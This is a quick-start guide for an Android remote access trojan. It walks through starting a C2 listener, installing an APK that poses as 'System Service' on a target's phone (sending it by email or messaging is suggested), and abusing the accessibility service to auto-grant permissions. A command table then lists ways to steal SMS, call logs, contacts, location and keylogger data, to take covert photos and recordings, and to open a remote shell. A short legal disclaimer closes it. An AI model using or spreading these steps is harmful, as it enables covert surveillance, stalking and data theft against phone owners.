Quick Start

1

Start the Listener

Open a terminal and start the C2 server

python3 rat.py listen -ip 0.0.0.0 -p 8000
2

Install APK on Device

Transfer and install the APK on the target device

adb install Compiled_APK/phantom.apk

Or send via email/messaging and install manually

3

Enable Accessibility Service

Critical Step: This enables auto-permission granting!

  1. Go to Settings → Accessibility → Downloaded Services
  2. Find and enable "System Service"
  3. Grant accessibility permission
  4. All other permissions will now be auto-granted!
4

Wait for Connection

The device will automatically connect to your server

You should see a connection message in your terminal!

Available Commands

Device Information

Command Description
deviceinfo Get complete device details
getsim Get SIM card information
getlocation Get GPS coordinates

Media Capture

Command Description
takepic 0 Take photo (0=back, 1=front camera)
startvideo 0 Start video recording
startaudio Start audio recording
screenshot Capture screenshot

Data Extraction

Command Description
getsms inbox Get SMS (inbox/sent/drafts)
getcalls Get call logs with details
getcontacts Get complete contact list
getkeylogs Get keylogger data (if accessibility enabled)

File Operations

Command Description
download <path> Download file from device
upload <path> Upload file to device
harvest Harvest files from device

Control Commands

Command Description
shell Open remote shell (full device control)
vibrate 5 Vibrate device 5 times
sessions List all connected devices
switch <id> Switch to different device session
exit Disconnect from current device

Usage Examples

Example 1: Get Device Information

# Get basic device info deviceinfo # Get SIM details getsim # Get GPS location getlocation

Example 2: Extract Messages

# Get inbox messages getsms inbox # Get sent messages getsms sent # Get drafts getsms drafts

Example 3: Capture Media

# Take photo with back camera takepic 0 # Take photo with front camera takepic 1 # Record audio startaudio

Example 4: Remote Shell

# Open shell shell # Now you can run any shell command ls -la pwd cat /sdcard/file.txt

Best Practices

Tips for Effective Use

  • Always ensure you have proper authorization before testing
  • Use sessions to manage multiple connected devices
  • Check deviceinfo first to verify the target
  • Use shell for advanced operations
  • Regularly check the Dumps/ folder for extracted data

Troubleshooting

Device Not Connecting

  • Verify the device has internet connection
  • Check if IP address in APK matches your server
  • Ensure firewall allows the port
  • Check if server is running

Commands Not Working

  • Verify accessibility service is enabled
  • Check if all permissions are granted
  • Restart the app on the device
  • Check server logs for errors

⚠️ Legal Reminder

Always use this tool ethically and legally. Unauthorized access is illegal and may result in criminal prosecution. Only test on devices you own or have explicit written permission to test.